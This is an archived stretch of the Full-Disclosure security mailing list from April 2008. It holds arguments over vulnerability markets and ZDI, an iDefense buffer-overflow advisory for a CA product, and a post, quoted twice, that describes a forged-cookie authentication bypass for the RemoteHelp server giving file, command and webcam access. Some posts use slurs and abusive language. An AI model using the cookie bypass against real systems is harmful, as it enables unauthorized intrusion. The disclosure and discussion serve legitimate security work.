disclosing discovered vulnerabilities. > > Researchers interested in getting paid for their security research > through the ZDI can find more information and sign-up at: > > http://www.zerodayinitiative.com > > The ZDI is unique in how the acquired vulnerability information is > used. TippingPoint does not re-sell the vulnerability details or any > exploit code. Instead, upon notifying the affected product vendor, > TippingPoint provides its customers with zero day protection through > its intrusion prevention technology. Explicit details regarding the > specifics of the vulnerability are not exposed to any parties until > an official vendor patch is publicly available. Furthermore, with the > altruistic aim of helping to secure a broader user base, TippingPoint > provides this vulnerability information confidentially to security > vendors (including competitors) who have a vulnerability protection or > mitigation product. > > Our vulnerability disclosure policy is available online at: > > http://www.zerodayinitiative.com/advisories/disclosure_policy/ > > CONFIDENTIALITY NOTICE: This e-mail message, including any attachments, > is being sent by 3Com for the sole use of the intended recipient(s) and > may contain confidential, proprietary and/or privileged information. > Any unauthorized review, use, disclosure and/or distribution by any > recipient is prohibited. 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URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20080404/ba375228/attachment.html From mastahflank at gmail.com Fri Apr 4 15:34:00 2008 From: mastahflank at gmail.com (=?utf-8?B?am9zaA==?=) Date: Fri, 4 Apr 2008 14:34:00 +0000 Subject: [Full-disclosure] angry In-Reply-To: <8b88d71c0804040722y6fe0c45cpf9948fe799fa88c0@mail.gmail.com> References: <8b88d71c0804040722y6fe0c45cpf9948fe799fa88c0@mail.gmail.com> Message-ID: <384021458-1207319639-cardhu_decombobulator_blackberry.rim.net-641403760-@bxe032.bisx.prod.on.blackberry> Absolutely! ... Sent from my BlackBerry? smartphone with SprintSpeed -----Original Message----- From: Urlan Date: Fri, 4 Apr 2008 11:22:17 To:full-disclosure at lists.grok.org.uk Subject: Re: [Full-disclosure] angry F?cil, ? s? sair da lista =D. Urlan On Thu, Apr 3, 2008 at 7:50 PM, RM > wrote: Sorry. I am angry and tired. "I WANT STUPID NON-ENGLISH SPEAKING? IDIOTS TO STOP SPAMMING ME WITH YOUR MIS_SPELLING/PENIS_ENLARGING/GET_A_LOAN BULLSHIT EMAILS! I AM ANGRY AND I'M NOT GOING TO TAKE IT ANYMORE! -- There, I feel better. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ From Valdis.Kletnieks at vt.edu Fri Apr 4 15:45:05 2008 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Fri, 04 Apr 2008 10:45:05 -0400 Subject: [Full-disclosure] angry In-Reply-To: Your message of "Thu, 03 Apr 2008 17:50:12 CDT." References: Message-ID: <3136.1207320305@turing-police.cc.vt.edu> On Thu, 03 Apr 2008 17:50:12 CDT, RM said: > "I WANT STUPID NON-ENGLISH SPEAKING IDIOTS TO STOP SPAMMING ME WITH YOUR > MIS_SPELLING/PENIS_ENLARGING/GET_A_LOAN BULLSHIT EMAILS! Quite often, the mis-spellings are *intentional*. If you're trying to get the word 'penis' through a spam/content filter that catches penis, p3nis, peenis, and a lot of other variants, you often need to get creative indeed in your typography.... -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20080404/f57b9312/attachment.bin From wh1t3h4t3 at yahoo.co.uk Fri Apr 4 15:48:12 2008 From: wh1t3h4t3 at yahoo.co.uk (Micheal Turner) Date: Fri, 4 Apr 2008 15:48:12 +0100 (BST) Subject: [Full-disclosure] n3td3v agenda & Solid Information Security State Release 0012a Message-ID: <805292.91098.qm@web23315.mail.ird.yahoo.com> n3td3v agenda & Cyber Security group ==================================== Solid Information Security State Release #0012a MARKING: RESTRICTIONS APPLY. FAO: WORLD LEADERS == Introduction == Serious high-risk ultra critical vulnerability has been identified in Remote Help application that maybe used by CIA, NSA and FBI employees when helping colleagues on anti-terror campaigns.RemoteHelp is a minimal http server that allows to view and control a remote pc running a 32-bits version of Microsoft Windows. current version is 0.0.6 and runs stand-alone or installs as a service. == URL == http://sourceforge.net/projects/remotehelp/ == HISTORY == After n3td3v agenda emailed the NSA, SANS and all information security groups and was found not to be taken seriously. High risk proof of concept exploit code has been authored for severe vulnerability in Remote Help application which maybe used by any number of Yahoo!, Google!, Ebay! or NSA employees. This vulnerability gives rise to serious national infrastructure risk and should not be under estimated! == Proof of Concept == I found a vulnerability in the pages.c file which generates the login page dialog and authenticates a user after it checks if your "user" and "pass" parameter match the defaults (user/default) it does this: strncpy(cookie,"user=default; path=/; expires=Sun, 11-May-2030 22:11:40 GMT",1024); for a valid login and for an invalid login it sets an expired cookie like so; strncpy(cookie,"user=default; path=/; expires=Sun, 11-May-1970 22:11:40 GMT",1024); all you have to do is add "Cookie: user=default; path=/; expires=Sun, 11-May-2030 22:11:40 GMT" to your HTTP request and you can bypass authentication to the Remote Help server and access the filesystem/exec commands/view the webcam of the hosts running it. == Credit == n3td3v & documentation help by Michael Turner. "Never trust your employees." ___________________________________________________________ Yahoo! For Good helps you make a difference http://uk.promotions.yahoo.com/forgood/ From kurtdillard at msn.com Fri Apr 4 16:20:56 2008 From: kurtdillard at msn.com (Kurt Dillard) Date: Fri, 4 Apr 2008 12:20:56 -0300 Subject: [Full-disclosure] n3td3v agenda & Solid Information Security State Release 0012a In-Reply-To: <805292.91098.qm@web23315.mail.ird.yahoo.com> References: <805292.91098.qm@web23315.mail.ird.yahoo.com> Message-ID: Whether or not the vulnerability exists as described this email is laughable. Addressing it to "world leaders" shows everyone you're a self-deceiving egomaniac. Complaining that the NSA, CIA, and FBI didn't respond to your ravings makes perfect sense for 3 reasons: first, nobody takes such poorly written rants seriously. Second, those agencies don't to collect vulnerability data, that's the job of DHS and NIST with their NVD and US-CERT projects. Third, I've worked with a lot of federal agencies and none of them use this software, why would they when a perfectly usable remote assistance technology is already built into Windows? Oh, and by the way, employees at those agencies can't install the software themselves because their desktops are locked down and they don't have admin privileges. -----Original Message----- From: full-disclosure-bounces at lists.grok.org.uk [mailto:full-disclosure-bounces at lists.grok.org.uk] On Behalf Of Micheal Turner Sent: Friday, April 04, 2008 11:48 AM To: full-disclosure at lists.grok.org.uk Subject: [Full-disclosure] n3td3v agenda & Solid Information Security State Release 0012a n3td3v agenda & Cyber Security group ==================================== Solid Information Security State Release #0012a MARKING: RESTRICTIONS APPLY. FAO: WORLD LEADERS == Introduction == Serious high-risk ultra critical vulnerability has been identified in Remote Help application that maybe used by CIA, NSA and FBI employees when helping colleagues on anti-terror campaigns.RemoteHelp is a minimal http server that allows to view and control a remote pc running a 32-bits version of Microsoft Windows. current version is 0.0.6 and runs stand-alone or installs as a service. == URL == http://sourceforge.net/projects/remotehelp/ == HISTORY == After n3td3v agenda emailed the NSA, SANS and all information security groups and was found not to be taken seriously. High risk proof of concept exploit code has been authored for severe vulnerability in Remote Help application which maybe used by any number of Yahoo!, Google!, Ebay! or NSA employees. This vulnerability gives rise to serious national infrastructure risk and should not be under estimated! == Proof of Concept == I found a vulnerability in the pages.c file which generates the login page dialog and authenticates a user after it checks if your "user" and "pass" parameter match the defaults (user/default) it does this: strncpy(cookie,"user=default; path=/; expires=Sun, 11-May-2030 22:11:40 GMT",1024); for a valid login and for an invalid login it sets an expired cookie like so; strncpy(cookie,"user=default; path=/; expires=Sun, 11-May-1970 22:11:40 GMT",1024); all you have to do is add "Cookie: user=default; path=/; expires=Sun, 11-May-2030 22:11:40 GMT" to your HTTP request and you can bypass authentication to the Remote Help server and access the filesystem/exec commands/view the webcam of the hosts running it. == Credit == n3td3v & documentation help by Michael Turner. "Never trust your employees." ___________________________________________________________ Yahoo! For Good helps you make a difference http://uk.promotions.yahoo.com/forgood/ _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ From techie.micheal at gmail.com Fri Apr 4 16:30:41 2008 From: techie.micheal at gmail.com (Micheal Cottingham) Date: Fri, 4 Apr 2008 11:30:41 -0400 Subject: [Full-disclosure] Fwd: Let's outlaw mass securityconferencespamming its f****** gay In-Reply-To: <6158bb410804040728wb271dfey16b7fd58d19dfb54@mail.gmail.com> References: <4b6ee9310804012006t1c27a5cey3faf280ef0c43008@mail.gmail.com> <27886.1207189079@turing-police.cc.vt.edu> <030b01c89543$0b481540$6401a8c0@maryl> <82abd3a70804030111q4896dc76h2c51434ad45c9885@mail.gmail.com> <6158bb410804030645w4057c055o503ff0302f87e1f8@mail.gmail.com> <004e01c89593$4cec60f0$336b880a@softpro.corp> <4b6ee9310804031438vde21ff8od59b6c66325f5d05@mail.gmail.com> <6158bb410804040728wb271dfey16b7fd58d19dfb54@mail.gmail.com> Message-ID: I too have participated in ZDI as a researcher. It is a very good program, and both the company and the researcher get what they want out of the process. The company gets the time to fix the vulnerability before everybody else finds out, and the researcher gets the recognition (and some money) for their work. It is a win-win situation. On Fri, Apr 4, 2008 at 10:28 AM, Ureleet wrote: > ive dealt a bit with tipping point and their zdi. how about you learn how > it works first, the come back and criticize it? you obviously dont > understand the contest at cansecwest, or how zdi plays into it. i was > there, it was a good conf. > > but you need to learn how it works before you go ranting about it.... > again... > > > > On Thu, Apr 3, 2008 at 5:38 PM, n3td3v wrote: > > > > > > > On Thu, Apr 3, 2008 at 3:02 PM, Garrett M. Groff > wrote: > > > Regarding the particular person in question, I'll defer to others who > know > > > him (or her, or they, or whomever) better than I do. Instead, I'll say > that, > > > generally, on lists like FD, there is a minority of out-spoken > personalities > > > who sadly support the stereotypical hacker persona: condescending > egoists > > > who are socially inept and emotionally charged when discussing topics > that > > > relate to their knowledge domain. That's unfortunate, since the broader > IT > > > security community is poorly represented due to attention-seeking > zealots. > > > > > > Regarding the idea of "oulawing security conference spamming," I'd say > the > > > literal idea of outlawing cross-posts to multiple security mailing lists > is > > > a bad idea. The idea that the legislature should write into law > legislation > > > that reduces our freedom in such a sense is a slippery slope borne of > > > emotionalism and narrowness. What else should the government do to > curtail > > > our freedoms? I tend to side with libertarian types (though I don't call > > > myself a "libertarian" un-qualified) on what the government should do > and > > > what they should not do. And micro-manage security mailing lists is > > > something they should not do. It's a bad idea and would make a dreadful > > > precedent. > > > > Full-Disclosure is ment to be about free source, not making money. I'm > > against people who make money come on the mailing lists, its > > commerical spam. We can't allow this to continue, here are what I > > don't like: > > > > - Come to our conference - profit... buy our ticket, get a macbook prize. > > > > - Hacking challenge prize - profit... they give you $5000 and sell it > > to the vendor for a lot more. > > > > - Train to use our software -profit... over priced training for > > software... not interested. > > > > On the issue of how much a vulnerability is worth, the prices are not > > regulated, we need regulation into how much a vulnerability costs, > > because the prices right now are wild. We need to take vulnerability > > pricing off the blackmarket and onto a legitimate central website for > > selling vulnerabilities, or cash rewards for disclosing a > > vulnerability to a particular company or organisation. I don't like > > sites like digital armaments which when i visited it, the content and > > answers they gave were questionable, and people have complained about > > digital armaments in the past. Its time to get pricing regulated and > > defined, so everyone knows whos being joe jobbed and who isn't. > > > > Can someone post to full-disclosure a price list of what they think a > > bufferoverflow should be worth etc, and we can vote if we agree. > > > > So what i'm calling for is someone to post up a hackers price list per > > vulnerability type. > > > > XSS/SQL should be worth something as well, so Morning_Wood can buy > > milk and a news paper in the mornings after he's taken care of his > > wood. > > > > Sorry i've ended this e-mail with slightly off-topicness, but I do > > think pricing needs to be defined. > > > > We can't dress up cash prizes/contests as something else as well, if a > > website is offering a $5,000 reward for a vulnerability, we need to > > know if we're being ripped off with the cash reward and how much can > > be potentially made after its sold on. > > > > Robert Lemos even http://www.securityfocus.com/news/11510 talked about > > vulnerability pricing when Pwn2Own was on, and even Pwn2Own cash > > reward might not be enough money, compared to what a vulnerability > > *should* be worth, and taking into consideration how much profit > > CanSecWest make overall from people attending the conference. > > > > So you take into consideration how much a vulnerability should be > > worth, then the added worth because its a security conference of how > > much should be added on to counter the profit being made by the event. > > > > A vulnerability should be worth more if its disclosed at a security > > conference than if its bought privately, because you've got to take in > > profit and free advertsing to calculate. > > > > However, to round off, we can't allow the mailing lists to turn into a > > vulnerability market place, full-disclosure should be for free stuff, > > and other websites and mailing lists can be setup for *money making > > schemes and auctions*. > > > > We shouldn't allow the money makers directly to market X... if a link > > is put on Full-Disclosure by a member of the public on the fly then > > thats ok, but I think its cheeky for the particular conference, > > contest runner or software trainer to be on the list themselves > > spamming everyone, for a profiteering agenda. > > > > You mention cross-posting, thats not the issue here, its the people > > making the money posting to make the money that offends me so much. > > > > And not even the lonely hacker offends me who posts i've got a > > vulnerability for sale for X, I don't mind that on Full-Disclosure, > > but what I do mind is if its a company or organisation doing it that > > is directly the ones making the money via vulnerability for sale, > > prize contest, security conference or train to use our software!!!, > > thats the height of spam I just think is utterly wrong and unethical > > on any scale of acceptability. > > > > If a lonley hacker who works in a supermarket has a vulnerabilty to > > sell i'm all for it being post on full-disclosure, but not the big > > money conferences, prize hacking contests and software training guys. > > > > I come under the bracket as supermarket worker with nothing much going > > for me in life, so I should be allowed to sell a vulnerability on > > what's ment to be a mailing list for non-profit disclosure. > > > > If we tolerate the money making schemes much longer, eventually > > full-disclosure will be a wash with conference,training,cash prize > > spam, etc once everyone realises the full value of vulnerabilities and > > the huge amounts of money to be made from setting up a cash prize > > contest, the huge amounts of money to be made from setting up a > > security conference and the huge amounts of money to be made from > > training people to use your hax0r software. > > > > You will find it easy to shout me down and say n3td3v's an idiot, but > > wait to the vulnerability market really takes off and the prices of > > vulnerabilities are properly defined and regulated, you're going to > > see a huge increase in commercial spam on the mailing lists, like the > > full-disclosure mailing list. so we've got to define what's fair play > > e-mail and what's a company or organisation blatantly profiteering > > with X method of extracting money out of people and using skilled > > hackers to make money, and to promote a security conference, training > > etc. > > > > All the best, > > > > n3td3v > > > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > From xploitable at gmail.com Fri Apr 4 17:07:44 2008 From: xploitable at gmail.com (n3td3v) Date: Fri, 4 Apr 2008 17:07:44 +0100 Subject: [Full-disclosure] Fwd: Let's outlaw mass securityconferencespamming its f****** gay In-Reply-To: <6158bb410804040728wb271dfey16b7fd58d19dfb54@mail.gmail.com> References: <4b6ee9310804012006t1c27a5cey3faf280ef0c43008@mail.gmail.com> <27886.1207189079@turing-police.cc.vt.edu> <030b01c89543$0b481540$6401a8c0@maryl> <82abd3a70804030111q4896dc76h2c51434ad45c9885@mail.gmail.com> <6158bb410804030645w4057c055o503ff0302f87e1f8@mail.gmail.com> <004e01c89593$4cec60f0$336b880a@softpro.corp> <4b6ee9310804031438vde21ff8od59b6c66325f5d05@mail.gmail.com> <6158bb410804040728wb271dfey16b7fd58d19dfb54@mail.gmail.com> Message-ID: <4b6ee9310804040907p77b84f1aq72a9d1655273466c@mail.gmail.com> On Fri, Apr 4, 2008 at 3:28 PM, Ureleet wrote: > ive dealt a bit with tipping point and their zdi. how about you learn how > it works first, the come back and criticize it? I never once mentioned anything about the zero day initiative? Can you find where I mentioned about the zero day initiative. They have nothing to do with this, they don't spam the mailing lists to make money. All i've seen them do is disclose vulnerabilities, which is fair play e-mail. I'm a big fan of the zero day initiative, I have no gripes with them whatsoever. Regards, n3td3v From xploitable at gmail.com Fri Apr 4 17:37:07 2008 From: xploitable at gmail.com (n3td3v) Date: Fri, 4 Apr 2008 17:37:07 +0100 Subject: [Full-disclosure] ZDI-08-018: Apple QuickTime Run Length Encoding Heap Overflow Vulnerability In-Reply-To: <6158bb410804040733t5907006fg75a6c32d80cff145@mail.gmail.com> References: <6158bb410804040733t5907006fg75a6c32d80cff145@mail.gmail.com> Message-ID: <4b6ee9310804040937h7d3f81cpb7a1e13312ca72d1@mail.gmail.com> On Fri, Apr 4, 2008 at 3:33 PM, Ureleet wrote: > dear zdi, > > please instruct n3td3v on your process. oh sorry you already have in every > email alert that you send! I never once mentioned anything about the zero day initiative? Can you find where I mentioned about the zero day initiative. They have nothing to do with this, they don't spam the mailing lists to make money. All i've seen them do is disclose vulnerabilities, which is fair play e-mail. I'm a big fan of the zero day initiative, I have no gripes with them whatsoever. Regards, n3td3v From security at brvenik.com Fri Apr 4 16:47:54 2008 From: security at brvenik.com (Jason) Date: Fri, 04 Apr 2008 11:47:54 -0400 Subject: [Full-disclosure] Fwd: Let's outlaw mass securityconferencespamming its f****** gay In-Reply-To: References: <4b6ee9310804012006t1c27a5cey3faf280ef0c43008@mail.gmail.com> <27886.1207189079@turing-police.cc.vt.edu> <030b01c89543$0b481540$6401a8c0@maryl> <82abd3a70804030111q4896dc76h2c51434ad45c9885@mail.gmail.com> <6158bb410804030645w4057c055o503ff0302f87e1f8@mail.gmail.com> <004e01c89593$4cec60f0$336b880a@softpro.corp> <4b6ee9310804031438vde21ff8od59b6c66325f5d05@mail.gmail.com> <6158bb410804040728wb271dfey16b7fd58d19dfb54@mail.gmail.com> Message-ID: <47F64DAA.9030505@brvenik.com> We are now close to this space being full circle. The next step is that the researchers will offer the vendor a chance to compete for the information on the vuln IP market and as a result winning vendors can choose to keep it to themselves... Yep, Microsoft has won and we will soon be back to non-disclosure all around. Micheal Cottingham wrote: > I too have participated in ZDI as a researcher. It is a very good > program, and both the company and the researcher get what they want > out of the process. The company gets the time to fix the vulnerability > before everybody else finds out, and the researcher gets the > recognition (and some money) for their work. It is a win-win > situation. > > On Fri, Apr 4, 2008 at 10:28 AM, Ureleet wrote: >> ive dealt a bit with tipping point and their zdi. how about you learn how >> it works first, the come back and criticize it? you obviously dont >> understand the contest at cansecwest, or how zdi plays into it. i was >> there, it was a good conf. >> >> but you need to learn how it works before you go ranting about it.... >> again... >> >> From brianli2001 at yahoo.co.uk Fri Apr 4 17:54:31 2008 From: brianli2001 at yahoo.co.uk (Brian Livingstone) Date: Fri, 4 Apr 2008 16:54:31 +0000 (GMT) Subject: [Full-disclosure] ZDI-08-018: Apple QuickTime Run Length Encoding Heap Overflow Vulnerability Message-ID: <848549.85068.qm@web23306.mail.ird.yahoo.com> Don't you have a job to go to???? ----- Original Message ---- From: n3td3v To: Ureleet ; zdi-disclosures at 3com.com; full-disclosure at lists.grok.org.uk; bugtraq at securityfocus.com; n3td3v Sent: Friday, 4 April, 2008 5:37:07 PM Subject: Re: [Full-disclosure] ZDI-08-018: Apple QuickTime Run Length Encoding Heap Overflow Vulnerability On Fri, Apr 4, 2008 at 3:33 PM, Ureleet wrote: > dear zdi, > > please instruct n3td3v on your process. oh sorry you already have in every > email alert that you send! I never once mentioned anything about the zero day initiative? Can you find where I mentioned about the zero day initiative. They have nothing to do with this, they don't spam the mailing lists to make money. All i've seen them do is disclose vulnerabilities, which is fair play e-mail. I'm a big fan of the zero day initiative, I have no gripes with them whatsoever. Regards, n3td3v _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___________________________________________________________ Yahoo! For Good helps you make a difference http://uk.promotions.yahoo.com/forgood/ From techie.micheal at gmail.com Fri Apr 4 18:23:19 2008 From: techie.micheal at gmail.com (Micheal Cottingham) Date: Fri, 4 Apr 2008 13:23:19 -0400 Subject: [Full-disclosure] Fwd: Let's outlaw mass securityconferencespamming its f****** gay In-Reply-To: <4b6ee9310804040907p77b84f1aq72a9d1655273466c@mail.gmail.com> References: <4b6ee9310804012006t1c27a5cey3faf280ef0c43008@mail.gmail.com> <030b01c89543$0b481540$6401a8c0@maryl> <82abd3a70804030111q4896dc76h2c51434ad45c9885@mail.gmail.com> <6158bb410804030645w4057c055o503ff0302f87e1f8@mail.gmail.com> <004e01c89593$4cec60f0$336b880a@softpro.corp> <4b6ee9310804031438vde21ff8od59b6c66325f5d05@mail.gmail.com> <6158bb410804040728wb271dfey16b7fd58d19dfb54@mail.gmail.com> <4b6ee9310804040907p77b84f1aq72a9d1655273466c@mail.gmail.com> Message-ID: Robert Lemos even http://www.securityfocus.com/news/11510 talked about vulnerability pricing when Pwn2Own was on, and even Pwn2Own cash reward might not be enough money, compared to what a vulnerability *should* be worth, and taking into consideration how much profit CanSecWest make overall from people attending the conference. [/quote] Pwn2Own was sponsored by ZDI/TippingPoint ... On Fri, Apr 4, 2008 at 12:07 PM, n3td3v wrote: > On Fri, Apr 4, 2008 at 3:28 PM, Ureleet wrote: > > ive dealt a bit with tipping point and their zdi. how about you learn how > > it works first, the come back and criticize it? > > I never once mentioned anything about the zero day initiative? Can you > find where I mentioned about the zero day initiative. > They have nothing to do with this, they don't spam the mailing lists > to make money. All i've seen them do is disclose vulnerabilities, > which is fair play e-mail. I'm a big fan of the zero day initiative, I > have no gripes with them whatsoever. > > Regards, > > > > n3td3v > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > From labs-no-reply at idefense.com Fri Apr 4 19:40:26 2008 From: labs-no-reply at idefense.com (iDefense Labs) Date: Fri, 04 Apr 2008 14:40:26 -0400 Subject: [Full-disclosure] iDefense Security Advisory 04.03.08: Computer Associates Alert Notification Service Multiple RPC Buffer Overflow Vulnerabilities Message-ID: <47F6761A.8030806@idefense.com> iDefense Security Advisory 04.03.08 http://labs.idefense.com/intelligence/vulnerabilities/ Apr 03, 2008 I. BACKGROUND Computer Associates Alert Notification Server is used by several CA products, including eTrust Integrated Threat Management, to provide notifications to console users. II. DESCRIPTION Remote exploitation of multiple buffer overflow vulnerabilities in Computer Associates International Inc.'s Alert Notification Service may allow an authenticated attacker to execute arbitrary code with SYSTEM privileges. The Alert Service is a component of multiple Computer Associates' products. It is used to provide status updates and notifications regarding various system events. It implements an RPC interface with GUID 3d742890-397c-11cf-9bf1-00805f88cb72. Multiple buffer overflows exist in the handlers for various opcodes. In each case, unsafe library functions are used to copy attacker supplied data into fixed size stack buffers. By making specially crafted requests, attackers are able to cause an exploitable buffer overflow. III. ANALYSIS Exploitation of these vulnerabilities allows an attacker to execute arbitrary code with SYSTEM privileges. In order to exploit these vulnerabilities, it is necessary for an attacker to have valid domain credentials. IV. DETECTION iDefense confirmed the existence of these vulnerabilities with Computer Associates' Threat Manager for the Enterprise version 8.1. Other products that contain the Alert Notification Service are suspected to be vulnerable as well. V. WORKAROUND iDefense is currently unaware of any effective workaround for these issues. VI. VENDOR RESPONSE Computer Associates has addressed these issues by providing updates. More information is available in their advisory at the following URL. https://support.ca.com/irj/portal/anonymous/phpsupcontent?contentID=173103 VII. CVE INFORMATION The Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2007-4620 to this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org/), which standardizes names for security problems. VIII. DISCLOSURE TIMELINE 08/24/2007 Initial vendor notification 08/24/2007 Initial vendor response 04/03/2008 Coordinated public disclosure IX. CREDIT The discoverer of these vulnerabilities wishes to remain anonymous. Get paid for vulnerability research http://labs.idefense.com/methodology/vulnerability/vcp.php Free tools, research and upcoming events http://labs.idefense.com/ X. LEGAL NOTICES Copyright ? 2008 iDefense, Inc. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDefense. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please e-mail customerservice at idefense.com for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. 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From ureleet at gmail.com Fri Apr 4 21:34:47 2008 From: ureleet at gmail.com (Ureleet) Date: Fri, 4 Apr 2008 16:34:47 -0400 Subject: [Full-disclosure] Fwd: Let's outlaw mass securityconferencespamming its f****** gay In-Reply-To: <4b6ee9310804040907p77b84f1aq72a9d1655273466c@mail.gmail.com> References: <4b6ee9310804012006t1c27a5cey3faf280ef0c43008@mail.gmail.com> <030b01c89543$0b481540$6401a8c0@maryl> <82abd3a70804030111q4896dc76h2c51434ad45c9885@mail.gmail.com> <6158bb410804030645w4057c055o503ff0302f87e1f8@mail.gmail.com> <004e01c89593$4cec60f0$336b880a@softpro.corp> <4b6ee9310804031438vde21ff8od59b6c66325f5d05@mail.gmail.com> <6158bb410804040728wb271dfey16b7fd58d19dfb54@mail.gmail.com> <4b6ee9310804040907p77b84f1aq72a9d1655273466c@mail.gmail.com> Message-ID: <6158bb410804041334s1164c9e5v76afa5b62e44f66d@mail.gmail.com> see: > - Come to our conference - profit... buy our ticket, get a macbook prize. > - Hacking challenge prize - profit... they give you $5000 and sell it > to the vendor for a lot more. ZDI provides the money for this. and they don't sell it back to vendor > - Train to use our software -profit... over priced training for > software... not interested. dont' get angry at remote-exploit because they are making money from their work . how much money do you make from posting to fd? > On the issue of how much a vulnerability is worth, the prices are not > regulated, we need regulation into how much a vulnerability costs, > because the prices right now are wild. We need to take vulnerability > pricing off the blackmarket and onto a legitimate central website for > selling vulnerabilities, or cash rewards for disclosing a > vulnerability to a particular company or organisation. wabisabilabi? zdi... etc. > Can someone post to full-disclosure a price list of what they think a > bufferoverflow should be worth etc, and we can vote if we agree. feel free to take that as a todo item. however, i would think it would depend on the bo. > We can't dress up cash prizes/contests as something else as well, if a > website is offering a $5,000 reward for a vulnerability, we need to > know if we're being ripped off with the cash reward and how much can > be potentially made after its sold on. zdi doesn't sell their exploits afaik. > Robert Lemos even http://www.securityfocus.com/news/11510 talked about > vulnerability pricing when Pwn2Own was on, and even Pwn2Own cash > reward might not be enough money, compared to what a vulnerability > *should* be worth, and taking into consideration how much profit > CanSecWest make overall from people attending the conference. the pwn2own cash is supplied by zdi. that's what you arent' realizing. > So you take into consideration how much a vulnerability should be > worth, then the added worth because its a security conference of how > much should be added on to counter the profit being made by the event. you already said this. twice. > However, to round off, we can't allow the mailing lists to turn into a > vulnerability market place, full-disclosure should be for free stuff, > and other websites and mailing lists can be setup for *money making > schemes and auctions*. there are. however how are the people going to know about the websites if you don't allow people to 'spam' lists with this sort of thing, mr unofficial-fd moderator? > We shouldn't allow the money makers directly to market X... if a link > is put on Full-Disclosure by a member of the public on the fly then > thats ok, but I think its cheeky for the particular conference, > contest runner or software trainer to be on the list themselves > spamming everyone, for a profiteering agenda. that's why its called free enterprise, it's an unmoderated list. feel free to unsubscribe if you dont like it much.. > You mention cross-posting, thats not the issue here, its the people > making the money posting to make the money that offends me so much. we know, its the third time youve said it in one email. > And not even the lonely hacker offends me who posts i've got a > vulnerability for sale for X, I don't mind that on Full-Disclosure, > but what I do mind is if its a company or organisation doing it that > is directly the ones making the money via vulnerability for sale, > prize contest, security conference or train to use our software!!!, > thats the height of spam I just think is utterly wrong and unethical > on any scale of acceptability. again, free market, and you are directly talking about zdi. > If a lonley hacker who works in a supermarket has a vulnerabilty to > sell i'm all for it being post on full-disclosure, but not the big > money conferences, prize hacking contests and software training guys. fourth time. > I come under the bracket as supermarket worker with nothing much going > for me in life, so I should be allowed to sell a vulnerability on > what's ment to be a mailing list for non-profit disclosure. you work at a supermarket? so you know about the under cash drawer switch that pops open the drawer exploit? > You will find it easy to shout me down and say n3td3v's an idiot, but > wait to the vulnerability market really takes off and the prices of > vulnerabilities are properly defined and regulated, you're going to > see a huge increase in commercial spam on the mailing lists, like the > full-disclosure mailing list. so we've got to define what's fair play > e-mail and what's a company or organisation blatantly profiteering > with X method of extracting money out of people and using skilled > hackers to make money, and to promote a security conference, training > etc. again, unmoderated list. the door is over there. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20080404/df727558/attachment.html From ureleet at gmail.com Fri Apr 4 21:35:11 2008 From: ureleet at gmail.com (Ureleet) Date: Fri, 4 Apr 2008 16:35:11 -0400 Subject: [Full-disclosure] Fwd: Let's outlaw mass securityconferencespamming its f****** gay In-Reply-To: References: <4b6ee9310804012006t1c27a5cey3faf280ef0c43008@mail.gmail.com> <030b01c89543$0b481540$6401a8c0@maryl> <82abd3a70804030111q4896dc76h2c51434ad45c9885@mail.gmail.com> <6158bb410804030645w4057c055o503ff0302f87e1f8@mail.gmail.com> <004e01c89593$4cec60f0$336b880a@softpro.corp> <4b6ee9310804031438vde21ff8od59b6c66325f5d05@mail.gmail.com> <6158bb410804040728wb271dfey16b7fd58d19dfb54@mail.gmail.com> <4b6ee9310804040907p77b84f1aq72a9d1655273466c@mail.gmail.com> Message-ID: <6158bb410804041335q727dc069lb578cb43691671ef@mail.gmail.com> i was hoping he'd realize that On Fri, Apr 4, 2008 at 1:23 PM, Micheal Cottingham wrote: > Robert Lemos even http://www.securityfocus.com/news/11510 talked about > vulnerability pricing when Pwn2Own was on, and even Pwn2Own cash > reward might not be enough money, compared to what a vulnerability > *should* be worth, and taking into consideration how much profit > CanSecWest make overall from people attending the conference. > [/quote] > > Pwn2Own was sponsored by ZDI/TippingPoint ... > > On Fri, Apr 4, 2008 at 12:07 PM, n3td3v wrote: > > On Fri, Apr 4, 2008 at 3:28 PM, Ureleet wrote: > > > ive dealt a bit with tipping point and their zdi. how about you > learn how > > > it works first, the come back and criticize it? > > > > I never once mentioned anything about the zero day initiative? Can you > > find where I mentioned about the zero day initiative. > > They have nothing to do with this, they don't spam the mailing lists > > to make money. All i've seen them do is disclose vulnerabilities, > > which is fair play e-mail. I'm a big fan of the zero day initiative, I > > have no gripes with them whatsoever. > > > > Regards, > > > > > > > > n3td3v > > > > _______________________________________________ > > Full-Disclosure - We believe in it. > > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > > Hosted and sponsored by Secunia - http://secunia.com/ > > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > -------------- next part -------------- An HTML attachment was scrubbed... URL: 